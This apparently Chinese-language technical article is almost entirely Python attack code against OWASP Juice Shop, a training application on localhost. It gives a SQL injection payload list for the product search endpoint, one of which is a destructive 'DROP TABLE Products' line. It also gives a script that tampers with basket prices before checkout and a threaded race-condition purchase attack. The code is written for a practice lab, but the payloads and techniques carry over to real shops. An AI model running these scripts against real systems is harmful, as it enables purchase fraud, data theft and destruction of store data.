OWASP Juice Shop 业务逻辑漏洞：隐藏商品与下单绕过的深度技术实现

import requests
import json
from urllib.parse import quote
import time

class HiddenProductDiscovery:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.discovered_products = []
    
    def sql_injection_payloads(self):
        """构造SQL注入载荷列表"""
        return [
            # 基础注释注入 - 绕过deletedAt条件
            "')--",
            "');--",
            "'); DROP TABLE Products;--",
            
            # OR注入 - 使条件永远为真
            "') OR '1'='1",
            "') OR 1=1--",
            "') OR 'a'='a",
            
            # UNION注入 - 直接查询所有商品
            "') UNION SELECT * FROM Products--",
            "') UNION SELECT id,name,description,price,image,deletedAt,quantity,isPublished,category,createdAt,updatedAt FROM Products--",
            
            # 盲注载荷 - 用于检测隐藏商品数量
            "') AND 1=CONVERT(int, (SELECT COUNT(*) FROM Products WHERE deletedAt IS NOT NULL))--",
            "') AND 1=CONVERT(int, (SELECT COUNT(*) FROM Products WHERE name LIKE '%Christmas%'))--",
            
            # 时间盲注
            "') AND (SELECT COUNT(*) FROM Products WHERE deletedAt IS NOT NULL) > 0 AND WAITFOR DELAY '00:00:05'--",
        ]
    
    def discover_hidden_products(self):
        """执行隐藏商品发现"""
        search_url = f"{self.base_url}/rest/products/search"
        hidden_products = []
        
        for payload in self.sql_injection_payloads():
            try:
                print(f"[+] Testing payload: {payload}")
                
                params = {'q': payload}
                response = self.session.get(search_url, params=params, timeout=10)
                
                if response.status_code == 200:
                    products = response.json()
                    
                    # 分析响应数据
                    hidden_found = self.analyze_products(products, payload)
                    hidden_products.extend(hidden_found)
                    
                    print(f"[+] Payload returned {len(products)} products, {len(hidden_found)} hidden items found")
                    
                elif response.status_code == 500:
                    print(f"[-] Server error with payload: {payload}")
                    
            except requests.exceptions.Timeout:
                print(f"[-] Timeout with payload: {payload} (possible time-based blind SQL injection)")
            except Exception as e:
                print(f"[-] Error with payload {payload}: {e}")
        
        self.discovered_products = hidden_products
        return hidden_products
    
    def analyze_products(self, products, payload):
        """分析商品数据，识别隐藏商品"""
        hidden_items = []
        
        for product in products:
            if self.is_hidden_product(product):
                hidden_items.append({
                    'id': product.get('id'),
                    'name': product.get('name'),
                    'price': product.get('price'),
                    'description': product.get('description', ''),
                    'deletedAt': product.get('deletedAt'),
                    'isPublished': product.get('isPublished'),
                    'payload_used': payload,
                    'discovery_time': time.time()
                })
        
        return hidden_items
    
    def is_hidden_product(self, product):
        """判断商品是否为隐藏商品"""
        # 检查deletedAt字段
        if product.get('deletedAt'):
            return True
        
        # 检查isPublished状态
        if product.get('isPublished') is False:
            return True
        
        # 检查商品名称中的特殊标识
        hidden_keywords = [
            'christmas', 'special', 'hidden', 'secret', 'admin',
            'internal', 'test', 'debug', 'prototype'
        ]
        
        name = product.get('name', '').lower()
        for keyword in hidden_keywords:
            if keyword in name:
                return True
        
        # 检查价格异常
        price = float(product.get('price', 0))
        if price <= 0.01 or price > 9999.99:
            return True
        
        return False
    
    def extract_product_details(self, product_id):
        """获取商品详细信息"""
        detail_url = f"{self.base_url}/rest/products/{product_id}"
        
        try:
            response = self.session.get(detail_url)
            if response.status_code == 200:
                return response.json()
        except Exception as e:
            print(f"[-] Failed to get product details: {e}")
        
        return None
    
    def generate_discovery_report(self):
        """生成发现报告"""
        if not self.discovered_products:
            return "No hidden products discovered"
        
        report = {
            'total_hidden_products': len(self.discovered_products),
            'discovery_time': time.time(),
            'products': []
        }
        
        for product in self.discovered_products:
            details = self.extract_product_details(product['id'])
            report['products'].append({
                **product,
                'full_details': details
            })
        
        return report

# 使用示例
if __name__ == "__main__":
    exploiter = HiddenProductDiscovery("http://localhost:3000")
    hidden_products = exploiter.discover_hidden_products()
    
    print(f"\n[+] Discovery complete! Found {len(hidden_products)} hidden products")
    
    # 生成详细报告
    report = exploiter.generate_discovery_report()
    print(json.dumps(report, indent=2))

class PriceManipulationAttack:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.user_token = None
        self.cart_items = []
    
    def authenticate(self, email, password):
        """用户认证获取token"""
        login_url = f"{self.base_url}/rest/user/login"
        
        login_data = {
            "email": email,
            "password": password
        }
        
        try:
            response = self.session.post(login_url, json=login_data)
            
            if response.status_code == 200:
                result = response.json()
                self.user_token = result.get('token')
                self.session.headers.update({
                    'Authorization': f'Bearer {self.user_token}'
                })
                print(f"[+] Authentication successful for {email}")
                return True
            else:
                print(f"[-] Authentication failed: {response.text}")
                return False
                
        except Exception as e:
            print(f"[-] Authentication error: {e}")
            return False
    
    def get_product_info(self, product_id):
        """获取商品信息"""
        product_url = f"{self.base_url}/rest/products/{product_id}"
        
        try:
            response = self.session.get(product_url)
            if response.status_code == 200:
                return response.json()
        except Exception as e:
            print(f"[-] Failed to get product info: {e}")
        
        return None
    
    def add_to_cart_with_manipulation(self, product_id, target_price=None, quantity=1):
        """添加商品到购物车并进行价格篡改"""
        cart_url = f"{self.base_url}/api/BasketItems/"
        
        # 获取商品原始信息
        product_info = self.get_product_info(product_id)
        if not product_info:
            print(f"[-] Product {product_id} not found")
            return None
        
        original_price = float(product_info['price'])
        
        # 如果未指定目标价格，使用极低价格
        if target_price is None:
            target_price = 0.01
        
        # 构造篡改价格的请求
        manipulated_data = {
            "ProductId": product_id,
            "quantity": quantity,
            "price": target_price,  # 篡改后的价格
            "BasketId": "basket"    # Juice Shop使用固定basket ID
        }
        
        try:
            response = self.session.post(cart_url, json=manipulated_data)
            
            if response.status_code == 201:
                cart_item = response.json()
                savings = (original_price - target_price) * quantity
                
                self.cart_items.append({
                    'product_id': product_id,
                    'original_price': original_price,
                    'manipulated_price': target_price,
                    'quantity': quantity,
                    'savings': savings,
                    'cart_item_id': cart_item['id']
                })
                
                print(f"[+] Added product {product_id} to cart")
                print(f"    Original: ${original_price}, Manipulated: ${target_price}")
                print(f"    Savings: ${savings}")
                
                return cart_item
            else:
                print(f"[-] Failed to add to cart: {response.text}")
                return None
                
        except Exception as e:
            print(f"[-] Error adding to cart: {e}")
            return None
    
    def checkout_with_manipulated_prices(self):
        """使用篡改价格的商品进行结算"""
        checkout_url = f"{self.base_url}/api/BasketItems/checkout"
        
        try:
            response = self.session.post(checkout_url)
            
            if response.status_code == 200:
                order = response.json()
                total_savings = sum(item['savings'] for item in self.cart_items)
                
                print(f"[+] Checkout successful!")
                print(f"    Order ID: {order.get('orderId', 'N/A')}")
                print(f"    Total Amount: ${order.get('totalAmount', 0)}")
                print(f"    Total Savings: ${total_savings}")
                
                return order
            else:
                print(f"[-] Checkout failed: {response.text}")
                return None
                
        except Exception as e:
            print(f"[-] Checkout error: {e}")
            return None
    
    def verify_manipulation_success(self, order_id):
        """验证价格篡改是否成功"""
        order_url = f"{self.base_url}/api/Orders/{order_id}"
        
        try:
            response = self.session.get(order_url)
            if response.status_code == 200:
                order = response.json()
                
                print(f"\n[+] Order Verification:")
                print(f"    Order ID: {order.get('id')}")
                print(f"    Total Amount: ${order.get('totalAmount')}")
                print(f"    Status: {order.get('status')}")
                
                # 检查订单明细
                if 'basketItems' in order:
                    print(f"\n[+] Order Items:")
                    for item in order['basketItems']:
                        product_id = item['ProductId']
                        quantity = item['quantity']
                        price = item['price']
                        
                        # 查找对应的篡改记录
                        manipulated_item = next(
                            (ci for ci in self.cart_items if ci['product_id'] == product_id),
                            None
                        )
                        
                        if manipulated_item:
                            print(f"    Product {product_id}:")
                            print(f"      Quantity: {quantity}")
                            print(f"      Price Paid: ${price}")
                            print(f"      Original Price: ${manipulated_item['original_price']}")
                            print(f"      Savings: ${manipulated_item['savings']}")
                
                return True
                
        except Exception as e:
            print(f"[-] Verification error: {e}")
            return False
    
    def calculate_total_savings(self):
        """计算总节省金额"""
        return sum(item['savings'] for item in self.cart_items)

# 价格篡改攻击使用示例
def execute_price_manipulation_attack():
    attacker = PriceManipulationAttack("http://localhost:3000")
    
    # 认证
    if not attacker.authenticate("[email protected]", "password123"):
        return
    
    # 获取可用商品列表
    products_url = "http://localhost:3000/rest/products"
    response = attacker.session.get(products_url)
    
    if response.status_code == 200:
        products = response.json()
        
        # 对前3个商品进行价格篡改
        for product in products[:3]:
            product_id = product['id']
            original_price = float(product['price'])
            
            # 篡改为极低价格
            attacker.add_to_cart_with_manipulation(
                product_id=product_id,
                target_price=0.01,
                quantity=1
            )
        
        # 执行结算
        order = attacker.checkout_with_manipulated_prices()
        
        if order:
            # 验证攻击结果
            attacker.verify_manipulation_success(order.get('orderId'))
            
            print(f"\n[+] Attack Summary:")
            print(f"    Total Items Manipulated: {len(attacker.cart_items)}")
            print(f"    Total Savings: ${attacker.calculate_total_savings()}")

if __name__ == "__main__":
    execute_price_manipulation_attack()

import threading
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

class ConcurrencyAttack:
    def __init__(self, base_url):
        self.base_url = base_url
        self.successful_orders = []
        self.failed_attempts = []
        self.lock = threading.Lock()
    
    def create_session_with_retry(self):
        """创建带重试机制的session"""
        session = requests.Session()
        
        retry_strategy = Retry(
            total=3,
            backoff_factor=1,
            status_forcelist=[429, 500, 502, 503, 504],
        )
        
        adapter = HTTPAdapter(max_retries=retry_strategy)
        session.mount("http://", adapter)
        session.mount("https://", adapter)
        
        return session
    
    def concurrent_purchase_worker(self, thread_id, product_id, quantity, target_price=None):
        """并发购买工作线程"""
        session = self.create_session_with_retry()
        
        try:
            # 步骤1：登录
            login_success = self.login_worker(session, thread_id)
            if not login_success:
                return self.create_failure_result(thread_id, "Login failed")
            
            # 步骤2：添加商品到购物车
            cart_success = self.add_to_cart_worker(session, product_id, quantity, target_price)
            if not cart_success:
                return self.create_failure_result(thread_id, "Add to cart failed")
            
            # 步骤3：结算订单
            order_result = self.checkout_worker(session)
            if order_result:
                return self.create_success_result(thread_id, order_result)
            else:
                return self.create_failure_result(thread_id, "Checkout failed")
                
        except Exception as e:
            return self.create_failure_result(thread_id, f"Exception: {str(e)}")
        finally:
            session.close()
    
    def login_worker(self, session, thread_id):
        """工作线程登录"""
        login_url = f"{self.base_url}/rest/user/login"
        
        # 使用随机邮箱避免冲突
        email = f"attacker{thread_id}{int(time.time())}@example.com"
        login_data = {
            "email": email,
            "password": "password123"
        }
        
        try:
            response = session.post(login_url, json=login_data, timeout=10)
            
            if response.status_code == 200:
                token = response.json().get('token')
                session.headers.update({
                    'Authorization': f'Bearer {token}'
                })
                return True
            else:
                return False
                
        except Exception:
            return False
    
    def add_to_cart_worker(self, session, product_id, quantity, target_price):
        """工作线程添加购物车"""
        cart_url = f"{self.base_url}/api/BasketItems/"
        
        cart_data = {
            "ProductId": product_id,
            "quantity": quantity,
            "price": target_price or 19.99,  # 默认价格或目标价格
            "BasketId": "basket"
        }
        
        try:
            response = session.post(cart_url, json=cart_data, timeout=10)
            return response.status_code == 201
            
        except Exception:
            return False
    
    def checkout_worker(self, session):
        """工作线程结算"""
        checkout_url = f"{self.base_url}/api/BasketItems/checkout"
        
        try:
            response = session.post(checkout_url, timeout=10)
            
            if response.status_code == 200:
                return response.json()
            else:
                return None
                
        except Exception:
            return None
    
    def create_success_result(self, thread_id, order):
        """创建成功结果"""
        with self.lock:
            result = {
                'thread_id': thread_id,
                'success': True,
                'order_id': order.get('orderId'),
                'total_amount': order.get('totalAmount'),
                'timestamp': time.time()
            }
            self.successful_orders.append(result)
            return result
    
    def create_failure_result(self, thread_id, error):
        """创建失败结果"""
        with self.lock:
            result = {
                'thread_id': thread_id,
                'success': False,
                'error': error,
                'timestamp': time.time()
            }
            self.failed_attempts.append(result)
            return result
    
    def execute_concurrency_attack(self, product_id, quantity, thread_count=20, target_price=None):
        """执行并发攻击"""
        print(f"[+] Starting concurrency attack")
        print(f"    Target Product: {product_id}")
        print(f"    Quantity: {quantity}")
        print(f"    Thread Count: {thread_count}")
        print(f"    Target Price: ${target_price or 'default'}")
        
        start_time = time.time()
        
        # 使用线程池执行并发攻击
        with ThreadPoolExecutor(max_workers=thread_count) as executor:
            # 提交所有任务
            futures = []
            for i in range(thread_count):
                future = executor.submit(
                    self.concurrent_purchase_worker,
                    i + 1,
                    product_id,
                    quantity,
                    target_price
                )
                futures.append(future)
            
            # 等待所有任务完成
            for future in as_completed(futures):
                try:
                    future.result()
                except Exception as e:
                    print(f"[-] Thread execution error: {e}")
        
        end_time = time.time()
        attack_duration = end_time - start_time
        
        # 分析攻击结果
        return self.analyze_attack_results(attack_duration)
    
    def analyze_attack_results(self, duration):
        """分析攻击结果"""
        successful_count = len(self.successful_orders)
        failed_count = len(self.failed_attempts)
        total_attempts = successful_count + failed_count
        
        print(f"\n[+] Concurrency Attack Results:")
        print(f"    Duration: {duration:.2f} seconds")
        print(f"    Total Attempts: {total_attempts}")
        print(f"    Successful Orders: {successful_count}")
        print(f"    Failed Attempts: {failed_count}")
        print(f"    Success Rate: {(successful_count/total_attempts*100):.2f}%")
        
        if successful_count > 1:
            print(f"[!] RACE CONDITION DETECTED!")
            print(f"    Expected: 1 order maximum")
            print(f"    Actual: {successful_count} orders")
            print(f"    Bypass Success: {successful_count - 1} extra orders")
        
        # 分析时间窗口
        if self.successful_orders:
            timestamps = [order['timestamp'] for order in self.successful_orders]
            time_window = max(timestamps) - min(timestamps)
            print(f"    Time Window: {time_window:.3f} seconds")
            
            # 计算攻击速率
            attack_rate = successful_count / time_window if time_window > 0 else 0
            print(f"    Attack Rate: {attack_rate:.2f} orders/second")
        
        # 分析经济损失
        if self.successful_orders:
            total_amount = sum(order['total_amount'] for order in self.successful_orders)
            print(f"    Total Order Value: ${total_amount:.2f}")
        
        return {
            'duration': duration,
            'successful_orders': successful_count,
            'failed_attempts': failed_count,
            'success_rate': successful_count/total_attempts*100,
            'race_condition_detected': successful_count > 1,
            'successful_orders_details': self.successful_orders,
            'failed_attempts_details': self.failed_attempts
        }

# 并发攻击使用示例
def execute_concurrency_attack():
    attacker = ConcurrencyAttack("http://localhost:3000")
    
    # 基础并发攻击测试
    basic_result = attacker.execute_concurrency_attack(
        product_id=1,
        quantity=1,
        thread_count=10,
        target_price=0.01
    )
    
    return basic_result

if __name__ == "__main__":
    execute_concurrency_attack()